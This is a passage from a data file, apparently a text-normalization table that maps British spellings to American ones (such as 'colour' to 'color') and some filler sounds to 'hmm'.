'archaeological', 'ardour': 'ardor', 'armour': 'armor', 'armoured': 'armored', 'armourer': 'armorer', 'armourers': 'armorers', 'armouries': 'armories', 'armoury': 'armory', 'artefact': 'artifact', 'artefacts': 'artifacts', 'authorise': 'authorize', 'authorised': 'authorized', 'authorises': 'authorizes', 'authorising': 'authorizing', 'axe': 'ax', 'backpedalled': 'backpedaled', 'backpedalling': 'backpedaling', 'bannister': 'banister', 'bannisters': 'banisters', 'baptise': 'baptize', 'baptised': 'baptized', 'baptises': 'baptizes', 'baptising': 'baptizing', 'bastardise': 'bastardize', 'bastardised': 'bastardized', 'bastardises': 'bastardizes', 'bastardising': 'bastardizing', 'battleax': 'battleaxe', 'baulk': 'balk', 'baulked': 'balked', 'baulking': 'balking', 'baulks': 'balks', 'bedevilled': 'bedeviled', 'bedevilling': 'bedeviling', 'behaviour': 'behavior', 'behavioural': 'behavioral', 'behaviourism': 'behaviorism', 'behaviourist': 'behaviorist', 'behaviourists': 'behaviorists', 'behaviours': 'behaviors', 'behove': 'behoove', 'behoved': 'behooved', 'behoves': 'behooves', 'bejewelled': 'bejeweled', 'belabour': 'belabor', 'belaboured': 'belabored', 'belabouring': 'belaboring', 'belabours': 'belabors', 'bevelled': 'beveled', 'bevvies': 'bevies', 'bevvy': 'bevy', 'biassed': 'biased', 'biassing': 'biasing', 'bingeing': 'binging', 'bougainvillaea': 'bougainvillea', 'bougainvillaeas': 'bougainvilleas', 'bowdlerise': 'bowdlerize', 'bowdlerised': 'bowdlerized', 'bowdlerises': 'bowdlerizes', 'bowdlerising': 'bowdlerizing', 'breathalyse': 'breathalyze', 'breathalysed': 'breathalyzed', 'breathalyser': 'breathalyzer', 'breathalysers': 'breathalyzers', 'breathalyses': 'breathalyzes', 'breathalysing': 'breathalyzing', 'brutalise': 'brutalize', 'brutalised': 'brutalized', 'brutalises': 'brutalizes', 'brutalising': 'brutalizing', 'busses': 'buses', 'bussing': 'busing', 'caesarean': 'cesarean', 'caesareans': 'cesareans', 'calibre': 'caliber', 'calibres': 'calibers', 'calliper': 'caliper', 'callipers': 'calipers', 'callisthenics': 'calisthenics', 'canalise': 'canalize', 'canalised': 'canalized', 'canalises': 'canalizes', 'canalising': 'canalizing', 'cancelation': 'cancellation', 'cancelations': 'cancellations', 'cancelled': 'canceled', 'cancelling': 'canceling', 'candour': 'candor', 'cannibalise': 'cannibalize', 'cannibalised': 'cannibalized', 'cannibalises': 'cannibalizes', 'cannibalising': 'cannibalizing', 'canonise': 'canonize', 'canonised': 'canonized', 'canonises': 'canonizes', 'canonising': 'canonizing', 'capitalise': 'capitalize', 'capitalised': 'capitalized', 'capitalises': 'capitalizes', 'capitalising': 'capitalizing', 'caramelise': 'caramelize', 'caramelised': 'caramelized', 'caramelises': 'caramelizes', 'caramelising': 'caramelizing', 'carbonise': 'carbonize', 'carbonised': 'carbonized', 'carbonises': 'carbonizes', 'carbonising': 'carbonizing', 'carolled': 'caroled', 'carolling': 'caroling', 'catalogue': 'catalog', 'catalogued': 'cataloged', 'catalogues': 'catalogs', 'cataloguing': 'cataloging', 'catalyse': 'catalyze', 'catalysed': 'catalyzed', 'catalyses': 'catalyzes', 'catalysing': 'catalyzing', 'categorise': 'categorize', 'categorised': 'categorized', 'categorises': 'categorizes', 'categorising': 'categorizing', 'cauterise': 'cauterize', 'cauterised': 'cauterized', 'cauterises': 'cauterizes', 'cauterising': 'cauterizing', 'cavilled': 'caviled', 'cavilling': 'caviling', 'centigramme': 'centigram', 'centigrammes': 'centigrams', 'centilitre': 'centiliter', 'centilitres': 'centiliters', 'centimetre': 'centimeter', 'centimetres': 'centimeters', 'centralise': 'centralize', 'centralised': 'centralized', 'centralises': 'centralizes', 'centralising': 'centralizing', 'centre': 'center', 'centred': 'centered', 'centrefold': 'centerfold', 'centrefolds': 'centerfolds', 'centrepiece': 'centerpiece', 'centrepieces': 'centerpieces', 'centres': 'centers', 'channelled': 'channeled', 'channelling': 'channeling', 'characterise': 'characterize', 'characterised': 'characterized', 'characterises': 'characterizes', 'characterising': 'characterizing', 'cheque': 'check', 'chequebook': 'checkbook', 'chequebooks': 'checkbooks', 'chequered': 'checkered', 'cheques': 'checks', 'chilli': 'chili', 'chimaera': 'chimera', 'chimaeras': 'chimeras', 'chiselled': 'chiseled', 'chiselling': 'chiseling', 'circularise': 'circularize', 'circularised': 'circularized', 'circularises': 'circularizes', 'circularising': 'circularizing', 'civilise': 'civilize', 'civilised': 'civilized', 'civilises': 'civilizes', 'civilising': 'civilizing', 'clamour': 'clamor', 'clamoured': 'clamored', 'clamouring': 'clamoring', 'clamours': 'clamors', 'clangour': 'clangor', 'clarinettist': 'clarinetist', 'clarinettists': 'clarinetists', 'collectivise': 'collectivize', 'collectivised': 'collectivized', 'collectivises': 'collectivizes', 'collectivising': 'collectivizing', 'colonisation': 'colonization', 'colonise': 'colonize', 'colonised': 'colonized', 'coloniser': 'colonizer', 'colonisers': 'colonizers', 'colonises': 'colonizes', 'colonising': 'colonizing', 'colour': 'color', 'colourant': 'colorant', 'colourants': 'colorants', 'coloured': 'colored', 'coloureds': 'coloreds', 'colourful': 'colorful', 'colourfully': 'colorfully', 'colouring': 'coloring', 'colourize': 'colorize', 'colourized': 'colorized', 'colourizes': 'colorizes', 'colourizing': 'colorizing', 'colourless': 'colorless', 'colours': 'colors', 'commercialise': 'commercialize', 'commercialised': 'commercialized', 'commercialises': 'commercializes', 'commercialising': 'commercializing', 'compartmentalise': 'compartmentalize', 'compartmentalised': 'compartmentalized', 'compartmentalises': 'compartmentalizes', 'compartmentalising': 'compartmentalizing', 'computerise': 'computerize', 'computerised': 'computerized', 'computerises': 'computerizes', 'computerising': 'computerizing', 'conceptualise': 'conceptualize', 'conceptualised': 'conceptualized', 'conceptualises': 'conceptualizes', 'conceptualising': 'conceptualizing', 'connexion': 'connection', 'connexions': 'connections', 'contextualise': 'contextualize', 'contextualised': 'contextualized', 'contextualises': 'contextualizes', 'contextualising': 'contextualizing', 'cosier': 'cozier', 'cosies': 'cozies', 'cosiest': 'coziest', 'cosily': 'cozily', 'cosiness': 'coziness', 'cosy': 'cozy', 'councillor': 'councilor', 'councillors': 'councilors', 'counselled': 'counseled', 'counselling': 'counseling', 'counsellor': 'counselor', 'counsellors': 'counselors', 'crenelated': 'crenellated', 'criminalise': 'criminalize', 'criminalised': 'criminalized', 'criminalises': 'criminalizes', 'criminalising': 'criminalizing', 'criticise': 'criticize', 'criticised': 'criticized', 'criticises': 'criticizes', 'criticising': 'criticizing', 'crueller': 'crueler', 'cruellest': 'cruelest', 'crystallisation': 'crystallization', 'crystallise': 'crystallize', 'crystallised': 'crystallized', 'crystallises': 'crystallizes', 'crystallising': 'crystallizing', 'cudgelled': 'cudgeled', 'cudgelling': 'cudgeling', 'customise': 'customize', 'customised': 'customized', 'customises': 'customizes', 'customising': 'customizing', 'cypher': 'cipher', 'cyphers': 'ciphers', 'decentralisation': 'decentralization', 'decentralise': 'decentralize', 'decentralised': 'decentralized', 'decentralises': 'decentralizes', 'decentralising': 'decentralizing', 'decriminalisation': 'decriminalization', 'decriminalise': 'decriminalize', 'decriminalised': 'decriminalized', 'decriminalises': 'decriminalizes', 'decriminalising': 'decriminalizing', 'defence': 'defense', 'defenceless': 'defenseless', 'defences': 'defenses', 'dehumanisation': 'dehumanization', 'dehumanise': 'dehumanize', 'dehumanised': 'dehumanized', 'dehumanises': 'dehumanizes', 'dehumanising': 'dehumanizing', 'demeanour': 'demeanor', 'demilitarisation': 'demilitarization', 'demilitarise': 'demilitarize', 'demilitarised': 'demilitarized', 'demilitarises': 'demilitarizes', 'demilitarising': 'demilitarizing', 'demobilisation': 'demobilization', 'demobilise': 'demobilize', 'demobilised': 'demobilized', 'demobilises': 'demobilizes', 'demobilising': 'demobilizing', 'democratisation': 'democratization', 'democratise': 'democratize', 'democratised': 'democratized', 'democratises': 'democratizes', 'democratising': 'democratizing', 'demonise': 'demonize', 'demonised': 'demonized', 'demonises': 'demonizes', 'demonising': 'demonizing', 'demoralisation': 'demoralization', 'demoralise': 'demoralize', 'demoralised': 'demoralized', 'demoralises': 'demoralizes', 'demoralising': 'demoralizing', 'denationalisation': 'denationalization', 'denationalise': 'denationalize', 'denationalised': 'denationalized', 'denationalises': 'denationalizes', 'denationalising': 'denationalizing', 'deodorise': 'deodorize', 'deodorised': 'deodorized', 'deodorises': 'deodorizes', 'deodorising': 'deodorizing', 'depersonalise': 'depersonalize', 'depersonalised': 'depersonalized', 'depersonalises': 'depersonalizes', 'depersonalising': 'depersonalizing', 'deputise': 'deputize', 'deputised': 'deputized', 'deputises': 'deputizes', 'deputising': 'deputizing', 'desensitisation': 'desensitization', 'desensitise': 'desensitize', 'desensitised': 'desensitized', 'desensitises': 'desensitizes', 'desensitising': 'desensitizing', 'destabilisation': 'destabilization', 'destabilise': 'destabilize', 'destabilised': 'destabilized', 'destabilises': 'destabilizes', 'destabilising': 'destabilizing', 'dialled': 'dialed', 'dialling': 'dialing', 'dialogue': 'dialog', 'dialogues': 'dialogs', 'diarrhoea': 'diarrhea', 'digitise': 'digitize', 'digitised': 'digitized', 'digitises': 'digitizes', 'digitising': 'digitizing', 'disc': 'disk', 'discolour': 'discolor', 'discoloured': 'discolored', 'discolouring': 'discoloring', 'discolours': 'discolors', 'discs': 'disks', 'disembowelled': 'disemboweled', 'disembowelling': 'disemboweling', 'disfavour': 'disfavor', 'dishevelled': 'disheveled', 'dishonour': 'dishonor', 'dishonourable': 'dishonorable', 'dishonourably': 'dishonorably', 'dishonoured': 'dishonored', 'dishonouring': 'dishonoring', 'dishonours': 'dishonors', 'disorganisation': 'disorganization', 'disorganised': 'disorganized', 'distil': 'distill', 'distils': 'distills', 'dramatisation': 'dramatization', 'dramatisations': 'dramatizations', 'dramatise': 'dramatize', 'dramatised': 'dramatized', 'dramatises': 'dramatizes', 'dramatising': 'dramatizing', 'draught': 'draft', 'draughtboard': 'draftboard', 'draughtboards': 'draftboards', 'draughtier': 'draftier', 'draughtiest': 'draftiest', 'draughts': 'drafts', 'draughtsman': 'draftsman', 'draughtsmanship': 'draftsmanship', 'draughtsmen': 'draftsmen', 'draughtswoman': 'draftswoman', 'draughtswomen': 'draftswomen', 'draughty': 'drafty', 'drivelled': 'driveled', 'drivelling': 'driveling', 'duelled': 'dueled', 'duelling': 'dueling', 'economise': 'economize', 'economised': 'economized', 'economises': 'economizes', 'economising': 'economizing', 'editorialise': 'editorialize', 'editorialised': 'editorialized', 'editorialises': 'editorializes', 'editorialising': 'editorializing', 'edoema': 'edema', 'empathise': 'empathize', 'empathised': 'empathized', 'empathises': 'empathizes', 'empathising': 'empathizing', 'emphasise': 'emphasize', 'emphasised': 'emphasized', 'emphasises': 'emphasizes', 'emphasising': 'emphasizing', 'enamelled': 'enameled', 'enamelling': 'enameling', 'enamoured': 'enamored', 'encyclopaedia': 'encyclopedia', 'encyclopaedias': 'encyclopedias', 'encyclopaedic': 'encyclopedic', 'endeavour': 'endeavor', 'endeavoured': 'endeavored', 'endeavouring': 'endeavoring', 'endeavours': 'endeavors', 'energise': 'energize', 'energised': 'energized', 'energises': 'energizes', 'energising': 'energizing', 'enrol': 'enroll', 'enrols': 'enrolls', 'enthral': 'enthrall', 'enthrals': 'enthralls', 'epaulette': 'epaulet', 'epaulettes': 'epaulets', 'epicentre': 'epicenter', 'epicentres': 'epicenters', 'epilogue': 'epilog', 'epilogues': 'epilogs', 'epitomise': 'epitomize', 'epitomised': 'epitomized', 'epitomises': 'epitomizes', 'epitomising': 'epitomizing', 'equalisation': 'equalization', 'equalise': 'equalize', 'equalised': 'equalized', 'equaliser': 'equalizer', 'equalisers': 'equalizers', 'equalises': 'equalizes', 'equalising': 'equalizing', 'eulogise': 'eulogize', 'eulogised': 'eulogized', 'eulogises': 'eulogizes', 'eulogising': 'eulogizing', 'evangelise': 'evangelize', 'evangelised': 'evangelized', 'evangelises': 'evangelizes', 'evangelising': 'evangelizing', 'exorcise': 'exorcize', 'exorcised': 'exorcized', 'exorcises': 'exorcizes', 'exorcising': 'exorcizing', 'extemporisation': 'extemporization', 'extemporise': 'extemporize', 'extemporised': 'extemporized', 'extemporises': 'extemporizes', 'extemporising': 'extemporizing', 'externalisation': 'externalization', 'externalisations': 'externalizations', 'externalise': 'externalize', 'externalised': 'externalized', 'externalises': 'externalizes', 'externalising': 'externalizing', 'factorise': 'factorize', 'factorised': 'factorized', 'factorises': 'factorizes', 'factorising': 'factorizing', 'faecal': 'fecal', 'faeces': 'feces', 'familiarisation': 'familiarization', 'familiarise': 'familiarize', 'familiarised': 'familiarized', 'familiarises': 'familiarizes', 'familiarising': 'familiarizing', 'fantasise': 'fantasize', 'fantasised': 'fantasized', 'fantasises': 'fantasizes', 'fantasising': 'fantasizing', 'favour': 'favor', 'favourable': 'favorable', 'favourably': 'favorably', 'favoured': 'favored', 'favouring': 'favoring', 'favourite': 'favorite', 'favourites': 'favorites', 'favouritism': 'favoritism', 'favours': 'favors', 'feminise': 'feminize', 'feminised': 'feminized', 'feminises': 'feminizes', 'feminising': 'feminizing', 'fertilisation': 'fertilization', 'fertilise': 'fertilize', 'fertilised': 'fertilized', 'fertiliser': 'fertilizer', 'fertilisers': 'fertilizers', 'fertilises': 'fertilizes', 'fertilising': 'fertilizing', 'fervour': 'fervor', 'fibre': 'fiber', 'fibreglass': 'fiberglass', 'fibres': 'fibers', 'fictionalisation': 'fictionalization', 'fictionalisations': 'fictionalizations', 'fictionalise': 'fictionalize', 'fictionalised': 'fictionalized', 'fictionalises': 'fictionalizes', 'fictionalising': 'fictionalizing', 'fillet': 'filet', 'filleted': 'fileted', 'filleting': 'fileting', 'fillets': 'filets', 'finalisation': 'finalization', 'finalise': 'finalize', 'finalised': 'finalized', 'finalises': 'finalizes', 'finalising': 'finalizing', 'flautist': 'flutist', 'flautists': 'flutists', 'flavour': 'flavor', 'flavoured': 'flavored', 'flavouring': 'flavoring', 'flavourings': 'flavorings', 'flavourless': 'flavorless', 'flavours': 'flavors', 'flavoursome': 'flavorsome', 'flyer / flier': 'flier / flyer', 'foetal': 'fetal', 'foetid': 'fetid', 'foetus': 'fetus', 'foetuses': 'fetuses', 'formalisation': 'formalization', 'formalise': 'formalize', 'formalised': 'formalized', 'formalises': 'formalizes', 'formalising': 'formalizing', 'fossilisation': 'fossilization', 'fossilise': 'fossilize', 'fossilised': 'fossilized', 'fossilises': 'fossilizes', 'fossilising': 'fossilizing', 'fraternisation': 'fraternization', 'fraternise': 'fraternize', 'fraternised': 'fraternized', 'fraternises': 'fraternizes', 'fraternising': 'fraternizing', 'fulfil': 'fulfill', 'fulfilment': 'fulfillment', 'fulfils': 'fulfills', 'funnelled': 'funneled', 'funnelling': 'funneling', 'gage': 'gauge', 'gaged': 'gauged', 'gages': 'gauges', 'gaging': 'gauging', 'galvanise': 'galvanize', 'galvanised': 'galvanized', 'galvanises': 'galvanizes', 'galvanising': 'galvanizing', 'gambolled': 'gamboled', 'gambolling': 'gamboling', 'gaol': 'jail', 'gaolbird': 'jailbird', 'gaolbirds': 'jailbirds', 'gaolbreak': 'jailbreak', 'gaolbreaks': 'jailbreaks', 'gaoled': 'jailed', 'gaoler': 'jailer', 'gaolers': 'jailers', 'gaoling': 'jailing', 'gaols': 'jails', 'gasses': 'gases', 'generalisation': 'generalization', 'generalisations': 'generalizations', 'generalise': 'generalize', 'generalised': 'generalized', 'generalises': 'generalizes', 'generalising': 'generalizing', 'ghettoise': 'ghettoize', 'ghettoised': 'ghettoized', 'ghettoises': 'ghettoizes', 'ghettoising': 'ghettoizing', 'gipsies': 'gypsies', 'glamor': 'glamour', 'glamorise': 'glamorize', 'glamorised': 'glamorized', 'glamorises': 'glamorizes', 'glamorising': 'glamorizing', 'globalisation': 'globalization', 'globalise': 'globalize', 'globalised': 'globalized', 'globalises': 'globalizes', 'globalising': 'globalizing', 'glueing': 'gluing', 'goitre': 'goiter', 'goitres': 'goiters', 'gonorrhoea': 'gonorrhea', 'gramme': 'gram', 'grammes': 'grams', 'gravelled': 'graveled', 'grey': 'gray', 'greyed': 'grayed', 'greying': 'graying', 'greyish': 'grayish', 'greyness': 'grayness', 'greys': 'grays', 'grovelled': 'groveled', 'grovelling': 'groveling', 'groyne': 'groin', 'groynes': 'groins', 'gruelling': 'grueling', 'gruellingly': 'gruelingly', 'gryphon': 'griffin', 'gryphons': 'griffins', 'gynaecological': 'gynecological', 'gynaecologist': 'gynecologist', 'gynaecologists': 'gynecologists', 'gynaecology': 'gynecology', 'haematological': 'hematological', 'haematologist': 'hematologist', 'haematologists': 'hematologists', 'haematology': 'hematology', 'haemoglobin': 'hemoglobin', 'haemophilia': 'hemophilia', 'haemophiliac': 'hemophiliac', 'haemophiliacs': 'hemophiliacs', 'haemorrhage': 'hemorrhage', 'haemorrhaged': 'hemorrhaged', 'haemorrhages': 'hemorrhages', 'haemorrhaging': 'hemorrhaging', 'haemorrhoids': 'hemorrhoids', 'harbour': 'harbor', 'harboured': 'harbored', 'harbouring': 'harboring', 'harbours': 'harbors', 'harmonisation': 'harmonization', 'harmonise': 'harmonize', 'harmonised': 'harmonized', 'harmonises': 'harmonizes', 'harmonising': 'harmonizing', 'homoeopath': 'homeopath', 'homoeopathic': 'homeopathic', 'homoeopaths': 'homeopaths', 'homoeopathy': 'homeopathy', 'homogenise': 'homogenize', 'homogenised': 'homogenized', 'homogenises': 'homogenizes', 'homogenising': 'homogenizing', 'honour': 'honor', 'honourable': 'honorable', 'honourably': 'honorably', 'honoured': 'honored', 'honouring': 'honoring', 'honours': 'honors', 'hospitalisation': 'hospitalization', 'hospitalise': 'hospitalize', 'hospitalised': 'hospitalized', 'hospitalises': 'hospitalizes', 'hospitalising': 'hospitalizing', 'humanise': 'humanize', 'humanised': 'humanized', 'humanises': 'humanizes', 'humanising': 'humanizing', 'humour': 'humor', 'humoured': 'humored', 'humouring': 'humoring', 'humourless': 'humorless', 'humours': 'humors', 'hybridise': 'hybridize', 'hybridised': 'hybridized', 'hybridises': 'hybridizes', 'hybridising': 'hybridizing', 'hypnotise': 'hypnotize', 'hypnotised': 'hypnotized', 'hypnotises': 'hypnotizes', 'hypnotising': 'hypnotizing', 'hypothesise': 'hypothesize', 'hypothesised': 'hypothesized', 'hypothesises': 'hypothesizes', 'hypothesising': 'hypothesizing', 'idealisation': 'idealization', 'idealise': 'idealize', 'idealised': 'idealized', 'idealises': 'idealizes', 'idealising': 'idealizing', 'idolise': 'idolize', 'idolised': 'idolized', 'idolises': 'idolizes', 'idolising': 'idolizing', 'immobilisation': 'immobilization', 'immobilise': 'immobilize', 'immobilised': 'immobilized', 'immobiliser': 'immobilizer', 'immobilisers': 'immobilizers', 'immobilises': 'immobilizes', 'immobilising': 'immobilizing', 'immortalise': 'immortalize', 'immortalised': 'immortalized', 'immortalises': 'immortalizes', 'immortalising': 'immortalizing', 'immunisation': 'immunization', 'immunise': 'immunize', 'immunised': 'immunized', 'immunises': 'immunizes', 'immunising': 'immunizing', 'impanelled': 'impaneled', 'impanelling': 'impaneling', 'imperilled': 'imperiled', 'imperilling': 'imperiling', 'individualise': 'individualize', 'individualised': 'individualized', 'individualises': 'individualizes', 'individualising': 'individualizing', 'industrialise': 'industrialize', 'industrialised': 'industrialized', 'industrialises': 'industrializes', 'industrialising': 'industrializing', 'inflexion': 'inflection', 'inflexions': 'inflections', 'initialise': 'initialize', 'initialised': 'initialized', 'initialises': 'initializes', 'initialising': 'initializing', 'initialled': 'initialed', 'initialling': 'initialing', 'instal': 'install', 'instalment': 'installment', 'instalments': 'installments', 'instals': 'installs', 'instil': 'instill', 'instils': 'instills', 'institutionalisation': 'institutionalization', 'institutionalise': 'institutionalize', 'institutionalised': 'institutionalized', 'institutionalises': 'institutionalizes', 'institutionalising': 'institutionalizing', 'intellectualise': 'intellectualize', 'intellectualised': 'intellectualized', 'intellectualises': 'intellectualizes', 'intellectualising': 'intellectualizing', 'internalisation': 'internalization', 'internalise': 'internalize', 'internalised': 'internalized', 'internalises': 'internalizes', 'internalising': 'internalizing', 'internationalisation': 'internationalization', 'internationalise': 'internationalize', 'internationalised': 'internationalized', 'internationalises': 'internationalizes', 'internationalising': 'internationalizing', 'ionisation': 'ionization', 'ionise': 'ionize', 'ionised': 'ionized', 'ioniser': 'ionizer', 'ionisers': 'ionizers', 'ionises': 'ionizes', 'ionising': 'ionizing', 'italicise': 'italicize', 'italicised': 'italicized', 'italicises': 'italicizes', 'italicising': 'italicizing', 'itemise': 'itemize', 'itemised': 'itemized', 'itemises': 'itemizes', 'itemising': 'itemizing', 'jeopardise': 'jeopardize', 'jeopardised': 'jeopardized', 'jeopardises': 'jeopardizes', 'jeopardising': 'jeopardizing', 'jewelled': 'jeweled', 'jeweller': 'jeweler', 'jewellers': 'jewelers', 'jewellery': 'jewelry', 'judgement': 'judgment', 'kilogramme': 'kilogram', 'kilogrammes': 'kilograms', 'kilometre': 'kilometer', 'kilometres': 'kilometers', 'labelled': 'labeled', 'labelling': 'labeling', 'labour': 'labor', 'laboured': 'labored', 'labourer': 'laborer', 'labourers': 'laborers', 'labouring': 'laboring', 'labours': 'labors', 'lacklustre': 'lackluster', 'legalisation': 'legalization', 'legalise': 'legalize', 'legalised': 'legalized', 'legalises': 'legalizes', 'legalising': 'legalizing', 'legitimise': 'legitimize', 'legitimised': 'legitimized', 'legitimises': 'legitimizes', 'legitimising': 'legitimizing', 'leukaemia': 'leukemia', 'levelled': 'leveled', 'leveller': 'leveler', 'levellers': 'levelers', 'levelling': 'leveling', 'libelled': 'libeled', 'libelling': 'libeling', 'libellous': 'libelous', 'liberalisation': 'liberalization', 'liberalise': 'liberalize', 'liberalised': 'liberalized', 'liberalises': 'liberalizes', 'liberalising': 'liberalizing', 'licence': 'license', 'licenced': 'licensed', 'licences': 'licenses', 'licencing': 'licensing', 'likeable': 'likable', 'lionisation': 'lionization', 'lionise': 'lionize', 'lionised': 'lionized', 'lionises': 'lionizes', 'lionising': 'lionizing', 'liquidise': 'liquidize', 'liquidised': 'liquidized', 'liquidiser': 'liquidizer', 'liquidisers': 'liquidizers', 'liquidises': 'liquidizes', 'liquidising': 'liquidizing', 'litre': 'liter', 'litres': 'liters', 'localise': 'localize', 'localised': 'localized', 'localises': 'localizes', 'localising': 'localizing', 'louvre': 'louver', 'louvred': 'louvered', 'louvres': 'louvers', 'lustre': 'luster', 'magnetise': 'magnetize', 'magnetised': 'magnetized', 'magnetises': 'magnetizes', 'magnetising': 'magnetizing', 'manoeuvrability': 'maneuverability', 'manoeuvrable': 'maneuverable', 'manoeuvre': 'maneuver', 'manoeuvred': 'maneuvered', 'manoeuvres': 'maneuvers', 'manoeuvring': 'maneuvering', 'manoeuvrings': 'maneuverings', 'marginalisation': 'marginalization', 'marginalise': 'marginalize', 'marginalised': 'marginalized', 'marginalises': 'marginalizes', 'marginalising': 'marginalizing', 'marshalled': 'marshaled', 'marshalling': 'marshaling', 'marvelled': 'marveled', 'marvelling': 'marveling', 'marvellous': 'marvelous', 'marvellously': 'marvelously', 'materialisation': 'materialization', 'materialise': 'materialize', 'materialised': 'materialized', 'materialises': 'materializes', 'materialising': 'materializing', 'maximisation': 'maximization', 'maximise': 'maximize', 'maximised': 'maximized', 'maximises': 'maximizes', 'maximising': 'maximizing', 'meagre': 'meager', 'mechanisation': 'mechanization', 'mechanise': 'mechanize', 'mechanised': 'mechanized', 'mechanises': 'mechanizes', 'mechanising': 'mechanizing', 'mediaeval': 'medieval', 'memorialise': 'memorialize', 'memorialised': 'memorialized', 'memorialises': 'memorializes', 'memorialising': 'memorializing', 'memorise': 'memorize', 'memorised': 'memorized', 'memorises': 'memorizes', 'memorising': 'memorizing', 'mesmerise': 'mesmerize', 'mesmerised': 'mesmerized', 'mesmerises': 'mesmerizes', 'mesmerising': 'mesmerizing', 'metabolise': 'metabolize', 'metabolised': 'metabolized', 'metabolises': 'metabolizes', 'metabolising': 'metabolizing', 'metre': 'meter', 'metres': 'meters', 'mhm': 'hmm', 'micrometre': 'micrometer', 'micrometres': 'micrometers', 'militarise': 'militarize', 'militarised': 'militarized', 'militarises': 'militarizes', 'militarising': 'militarizing', 'milligramme': 'milligram', 'milligrammes': 'milligrams', 'millilitre': 'milliliter', 'millilitres': 'milliliters', 'millimetre': 'millimeter', 'millimetres': 'millimeters', 'miniaturisation': 'miniaturization', 'miniaturise': 'miniaturize', 'miniaturised': 'miniaturized', 'miniaturises': 'miniaturizes', 'miniaturising': 'miniaturizing', 'minibusses': 'minibuses', 'minimise': 'minimize', 'minimised': 'minimized', 'minimises': 'minimizes', 'minimising': 'minimizing', 'misbehaviour': 'misbehavior', 'misdemeanour': 'misdemeanor', 'misdemeanours': 'misdemeanors', 'misspelt': 'misspelled', 'mitre': 'miter', 'mitres': 'miters', 'mm': 'hmm', 'mmm': 'hmm', 'mobilisation': 'mobilization', 'mobilise': 'mobilize', 'mobilised': 'mobilized', 'mobilises': 'mobilizes', 'mobilising': 'mobilizing', 'modelled': 'modeled', 'modeller': 'modeler', 'modellers': 'modelers', 'modelling': 'modeling', 'modernise': 'modernize', 'modernised': 'modernized', 'modernises': 'modernizes', 'modernising': 'modernizing', 'moisturise': 'moisturize', 'moisturised': 'moisturized', 'moisturiser': 'moisturizer', 'moisturisers': 'moisturizers', 'moisturises': 'moisturizes', 'moisturising': 'moisturizing', 'monologue': 'monolog', 'monologues': 'monologs', 'monopolisation': 'monopolization', 'monopolise': 'monopolize', 'monopolised': 'monopolized', 'monopolises': 'monopolizes', 'monopolising': 'monopolizing', 'moralise': 'moralize', 'moralised': 'moralized', 'moralises': 'moralizes', 'moralising': 'moralizing', 'motorised': 'motorized', 'mould': 'mold', 'moulded': 'molded', 'moulder': 'molder', 'mouldered': 'moldered', 'mouldering': 'moldering', 'moulders': 'molders', 'mouldier': 'moldier', 'mouldiest': 'moldiest', 'moulding': 'molding', 'mouldings': 'moldings', 'moulds': 'molds', 'mouldy': 'moldy', 'moult': 'molt', 'moulted': 'molted', 'moulting': 'molting', 'moults': 'molts', 'moustache': 'mustache', 'moustached': 'mustached', 'moustaches': 'mustaches', 'moustachioed': 'mustachioed', 'multicoloured': 'multicolored', 'nationalisation': 'nationalization', 'nationalisations': 'nationalizations', 'nationalise': 'nationalize', 'nationalised': 'nationalized', 'nationalises': 'nationalizes', 'nationalising': 'nationalizing', 'naturalisation': 'naturalization', 'naturalise': 'naturalize', 'naturalised': 'naturalized', 'naturalises': 'naturalizes', 'naturalising': 'naturalizing', 'neighbour': 'neighbor', 'neighbourhood': 'neighborhood', 'neighbourhoods': 'neighborhoods', 'neighbouring': 'neighboring', 'neighbourliness': 'neighborliness', 'neighbourly': 'neighborly', 'neighbours': 'neighbors', 'neutralisation': 'neutralization', 'neutralise': 'neutralize', 'neutralised': 'neutralized', 'neutralises': 'neutralizes', 'neutralising': 'neutralizing', 'normalisation': 'normalization', 'normalise': 'normalize', 'normalised': 'normalized', 'normalises': 'normalizes', 'normalising': 'normalizing', 'odour': 'odor', 'odourless': 'odorless', 'odours': 'odors', 'oesophagus': 'esophagus', 'oesophaguses': 'esophaguses', 'oestrogen': 'estrogen', 'offence': 'offense', 'offences': 'offenses', 'omelette': 'omelet', 'omelettes': 'omelets', 'optimise': 'optimize', 'optimised': 'optimized', 'optimises': 'optimizes', 'optimising': 'optimizing', 'organisation': 'organization', 'organisational': 'organizational', 'organisations': 'organizations', 'organise': 'organize', 'organised': 'organized', 'organiser': 'organizer', 'organisers': 'organizers', 'organises': 'organizes', 'organising': 'organizing', 'orthopaedic': 'orthopedic', 'orthopaedics': 'orthopedics', 'ostracise': 'ostracize', 'ostracised': 'ostracized', 'ostracises': 'ostracizes', 'ostracising': 'ostracizing', 'outmanoeuvre': 'outmaneuver', 'outmanoeuvred': 'outmaneuvered', 'outmanoeuvres': 'outmaneuvers', 'outmanoeuvring': 'outmaneuvering', 'overemphasise': 'overemphasize', 'overemphasised': 'overemphasized', 'overemphasises': 'overemphasizes', 'overemphasising': 'overemphasizing', 'oxidisation': 'oxidization', 'oxidise': 'oxidize', 'oxidised': 'oxidized', 'oxidises': 'oxidizes', 'oxidising': 'oxidizing', 'paederast': 'pederast', 'paederasts': 'pederasts', 'paediatric': 'pediatric', 'paediatrician': 'pediatrician', 'paediatricians': 'pediatricians', 'paediatrics': 'pediatrics', 'paedophile': 'pedophile', 'paedophiles': 'pedophiles', 'paedophilia': 'pedophilia', 'palaeolithic': 'paleolithic', 'palaeontologist': 'paleontologist', 'palaeontologists': 'paleontologists', 'palaeontology': 'paleontology', 'panelled': 'paneled', 'panelling': 'paneling', 'panellist': 'panelist', 'panellists': 'panelists', 'paralyse': 'paralyze', 'paralysed': 'paralyzed', 'paralyses': 'paralyzes', 'paralysing': 'paralyzing', 'parcelled': 'parceled', 'parcelling': 'parceling', 'parlour': 'parlor', 'parlours': 'parlors', 'particularise': 'particularize', 'particularised': 'particularized', 'particularises': 'particularizes', 'particularising': 'particularizing', 'passivisation': 'passivization', 'passivise': 'passivize', 'passivised': 'passivized', 'passivises': 'passivizes', 'passivising': 'passivizing', 'pasteurisation': 'pasteurization', 'pasteurise': 'pasteurize', 'pasteurised': 'pasteurized', 'pasteurises': 'pasteurizes', 'pasteurising': 'pasteurizing', 'patronise': 'patronize', 'patronised': 'patronized', 'patronises': 'patronizes', 'patronising': 'patronizing', 'patronisingly': 'patronizingly', 'pedalled': 'pedaled', 'pedalling': 'pedaling', 'pedestrianisation': 'pedestrianization', 'pedestrianise': 'pedestrianize', 'pedestrianised': 'pedestrianized', 'pedestrianises': 'pedestrianizes', 'pedestrianising': 'pedestrianizing', 'penalise': 'penalize', 'penalised': 'penalized', 'penalises': 'penalizes', 'penalising': 'penalizing', 'pencilled': 